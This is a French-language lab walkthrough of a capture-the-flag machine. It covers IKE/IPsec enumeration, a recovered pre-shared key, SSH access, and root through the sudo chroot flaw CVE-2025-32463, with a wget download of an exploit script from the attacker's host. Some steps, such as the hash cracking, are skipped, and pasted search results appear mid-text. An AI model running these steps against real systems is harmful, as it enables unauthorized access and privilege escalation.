

Expressway



Expressway

Easy Linux

MACHINE PROGRESS

+20 +25

Get +5 points on every first blood

CREATED BY  dackmaddy

● EU RELEASE ARENA 1 [↑↓ Switch VPN](#)

10.129.182.211

MACHINE IP ADDRESS

 Stop Machine

 Reset Machine

Submit flag & press enter 

Scanning

```
nmap -p- -sVC --min-rate=1000 10.129.182.211 -vvv
```

```
PORT      STATE SERVICE REASON          VERSION
22/tcp    open  ssh      syn-ack ttl 63  OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

UDP

```
nmap -sU --min-rate 1000 -p- 10.129.182.211 -vvv
```

```
PORT      STATE SERVICE REASON
500/udp    open  isakmp  udp-response ttl 63
```

Enumeration

ISAKMP

Note

Le port 500/udp correspond au protocole ISAKMP (Internet Security Association and Key Management Protocol), utilisé dans les suites IPsec/IKE pour établir des tunnels VPN.

```
nmap -sU -p 500 --script ike-version 10.129.182.211
```

```
[Sep 21, 2025 - 12:49:53 CEST]] exegol-Release_area /workspace # nmap -sU -p 500 --script ike-version 10.129.182.211
Starting Nmap 7.93 ( https://nmap.org ) at 2025-09-21 12:53 CEST
Nmap scan report for 10.129.182.211
Host is up (0.040s latency).
```

```
PORT      STATE SERVICE
500/udp   open  isakmp
| ike-version:
|   attributes:
|     XAUTH
|_    Dead Peer Detection v1.0
```

```
Nmap done: 1 IP address (1 host up) scanned in 0.49 seconds
```

IKE-SCAN

Note

ike-scan est un outil en ligne de commande utilisé pour découvrir et analyser les passerelles VPN qui implémentent le protocole IKE, le protocole de négociation de clés d'IPsec. Il envoie des paquets IKE spécialement construits à une adresse IP cible et observe les réponses, ce qui permet d'identifier les services VPN en place, de déterminer s'ils utilisent IKEv1 ou IKEv2, et de collecter des informations comme les algorithmes de chiffrement, les méthodes d'authentification, ou encore les groupes Diffie-Hellman supportés. L'outil peut aussi être utilisé pour tester si un serveur fonctionne en mode agressif, dans lequel certains identifiants ou hashes de clés pré-partagées peuvent être récupérés puis attaqués hors-ligne.

```
ike-scan -M 10.129.182.211
```

```
[Sep 21, 2025 - 12:56:30 CEST]] exegol-Release_area /workspace # ike-scan -M 10.129.182.211
```

```
Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
```

```
10.129.182.211 Main Mode Handshake returned
```

```
HDR=(CKY-R=49a18465bdf97f60)
```

```
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
```

```
VID=09002689dfd6b712 (XAUTH)
```

```
VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
```

```
Ending ike-scan 1.9.5: 1 hosts scanned in 0.041 seconds (24.45 hosts/sec). 1 returned handshake; 0 returned notify
```

Note

la cible expose un VPN IPsec/IKEv1 configuré en mode principal, utilisant une clé pré-partagée et nécessitant ensuite une authentification XAUTH. Comme c'est du Main Mode, On ne pourra pas récupérer un hash de la PSK comme avec Aggressive Mode.

Même si la réponse actuelle est en Main Mode, certains équipements acceptent aussi Aggressive Mode :

```
ike-scan -M --aggressive 10.129.182.211
```

Installation

```
sudo apt install strongswan -y
```

Configurations

ipsec.secrets

```
@ike@expressway.htb : PSK "freakingrockstarontheroad"
```

ipsec.conf

```
conn conceal
    authby=secret
    auto=route
    keyexchange=ikev1
    ike=3des-sha1-modp1024
    left=10.10.14.184
    right=10.129.182.211
    type=transport
    esp=3des-sha1
    rightprotocol=tcp
```

```
[Sep 21, 2025 - 13:23:13 (CEST)] exegol-Release area /workspace # cat /etc/ipsec.conf && cat /etc/ipsec.secrets
```

```
# ipsec.conf - strongSwan IPsec configuration file
```

```
# basic configuration
```

```
config setup
```

```
    charondebug="all"
```

```
conn expressway
```

```
    keyexchange=ikev1
```

```
    ike=3des-sha1-modp1024
```

```
    esp=3des-sha1
```

```
    authby=psk
```

```
    left=%defaulttroute
```

```
    leftid=@ike@expressway.htb
```

```
    right=10.129.182.211
```

```
    rightid=@ike@expressway.htb
```

```
    auto=add
```

```
# This file holds shared secrets or RSA private keys for authentication.
```

```
# RSA private key for this host, authenticating it to any other host
```

```
# which knows the public part.
```

```
@ike@expressway.htb : PSK "freakingrockstarontheroad"
```

Connexion

Pas fonctionné.

Note

À ce stade, j'ai vérifié s'il me manquait d'autres ports ouverts et si ma configuration VPN était correcte. En réalité, le problème venait du fait que je n'avais pas d'identifiants pour l'étape XAUTH. La clé pré-partagée (PSK) que nous avons récupérée était suffisante pour passer la première phase d'authentification, mais ensuite, au moment où le serveur demande une authentification XAUTH (login/mot de passe), comme je ne dispose pas de ces identifiants, la connexion échoue avec une erreur d'authentification.

SSH

Je vais tenter une connexion en SSH avec l'utilisateur et le hash craqué :

```
[Sep 21, 2025 - 21:55:25 (CEST)] exegol-Release_area /workspace # ssh ike@expressway.htb
The authenticity of host 'expressway.htb (10.129.210.120)' can't be established.
ED25519 key fingerprint is SHA256:fZLjHktV7oXzFz9v3yLWFE4BS9rECyxSHdLLrfxRM8g.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'expressway.htb' (ED25519) to the list of known hosts.
ike@expressway.htb's password:
Last login: Wed Sep 17 12:19:40 BST 2025 from 10.10.14.64 on ssh
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64
```

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Sun Sep 21 20:56:18 2025 from 10.10.14.184

ike@expressway:~\$

Bingo, c'étais ce qu'il fallait faire !

user.txt

```
ike@expressway:~$ ls
user.txt
```

Privilege escalation

```
ike@expressway:~$ sudo -V
Sudo version 1.9.17
Sudoers policy plugin version 1.9.17
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.17
Sudoers audit plugin version 1.9.17
```

```
ike=3des
left=10.
right=10
type=tra
esp=3des
rightpro
```

sudo 1.9.17 exploit github

Tous Vidéos Images Vidéos courtes Actualités Livres Web Plus Outils



GitHub

<https://github.com/advisories> · Traduire cette page

Sudo before 1.9.17p1 allows local users to obtain root...

30 juin 2025 — **Sudo** before 1.9.17p1 allows local users to obtain root access because `/etc/nsswitch.conf` from a user-controlled directory is used with the `--chroot` option.

Termes manquants : 1.9.17



GitHub

<https://github.com/CVE-2025-32463> · Traduire cette page

CVE-2025-32463 - Sudo Privilege Escalation

A privilege escalation vulnerability exists in **sudo** affecting Linux/Unix-based systems. The flaw arises due to improper path validation when **sudo** is used ...



GitHub

<https://github.com/KaiHT-Ladiant> · Traduire cette page

CVE-2025-32463 - Sudo Chroot Privilege Escalation Exploit

17. This vulnerability allows attackers with **sudo** privileges to escalate to root access by exploiting a design flaw in the chroot option processing logic.

<https://github.com/KaiHT-Ladiant/CVE-2025-32463>

```
root@expressway: /
ike@expressway:~$ wget http://10.10.14.184:8080/cve-2025-32463.sh
--2025-09-21 21:05:59-- http://10.10.14.184:8080/cve-2025-32463.sh
Connecting to 10.10.14.184:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 800 [text/x-sh]
Saving to: 'cve-2025-32463.sh'

cve-2025-32463.sh      100%[=====] 800 --.-KB/s  in 0s

2025-09-21 21:05:59 (36.8 MB/s) - 'cve-2025-32463.sh' saved [800/800]

ike@expressway:~$ ls
cve-2025-32463.sh  user.txt
ike@expressway:~$ chmod +x cve-2025-32463.sh
ike@expressway:~$ ls
cve-2025-32463.sh  user.txt
ike@expressway:~$ ./cve-2025-32463.sh
[*] Exploiting CVE-2025-32463...
[*] Attempting privilege escalation...
root@expressway:/# whoami
root
root@expressway:/# cat /root/.root.txt
root@expressway:/#
```

Usage

Quick Start

- Clone this repository
- Make the script executable
- Run the exploit
- Check sudo version

Manual Verification

Check if the target system is vulnerable

- Check sudo version

```
python3 -m http.server 8080
[Sep 21, 2025 - 22:04:24 (CEST)] exegol-Release_area /workspace # git clone https://github.com/KaiHT-1
nt/CVE-2025-32463
Cloning into 'CVE-2025-32463'...
remote: Enumerating objects: 15, done.
remote: Counting objects: 100% (15/15), done.
remote: Compressing objects: 100% (13/13), done.
Receiving objects: 100% (15/15), 10.48 KiB | 10.48 MiB/s, done.
remote: Total 15 (delta 1), reused 0 (delta 0), pack-reused 0 (from 0)
Resolving deltas: 100% (1/1), done.
[Sep 21, 2025 - 22:04:59 (CEST)] exegol-Release_area /workspace # ls
CVE-2025-32463 hash.txt ike_hashcat.txt nmap.txt
[Sep 21, 2025 - 22:05:01 (CEST)] exegol-Release_area /workspace # cd CVE-2025-32463
[Sep 21, 2025 - 22:05:03 (CEST)] exegol-Release_area CVE-2025-32463 # ls
cve-2025-32463.sh LICENSE README.md
[Sep 21, 2025 - 22:05:03 (CEST)] exegol-Release_area CVE-2025-32463 # chmod +x cve-2025-32463.sh
[Sep 21, 2025 - 22:05:09 (CEST)] exegol-Release_area CVE-2025-32463 # python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.129.219.120 - - [21/Sep/2025 22:05:46] "GET /cve-2025-32463.sh HTTP/1.1" 200 -
```

```
root@exegol-Release_area:/workspace
[Sep 21, 2025 - 22:04:24 (CEST)] exegol-Release_area /workspace # ipa
lo UNKNOWN 127.0.0.1/8 ::1/128
eth0@if7 UP 172.17.0.2/16
tun0 UNKNOWN 10.10.14.184/23 dead:beef:2::10b6/64 fe80::b249:ce8a:158f:6b63/64
[Sep 21, 2025 - 22:05:34 (CEST)] exegol-Release_area /workspace #
```



Expressway has been Pwned!

Congratulations  **XoTourLif33**, best of luck in capturing flags ahead!

#2095	21 Sep 2025	30
MACHINE RANK	PWN DATE	POINTS EARNED

OK

SHARE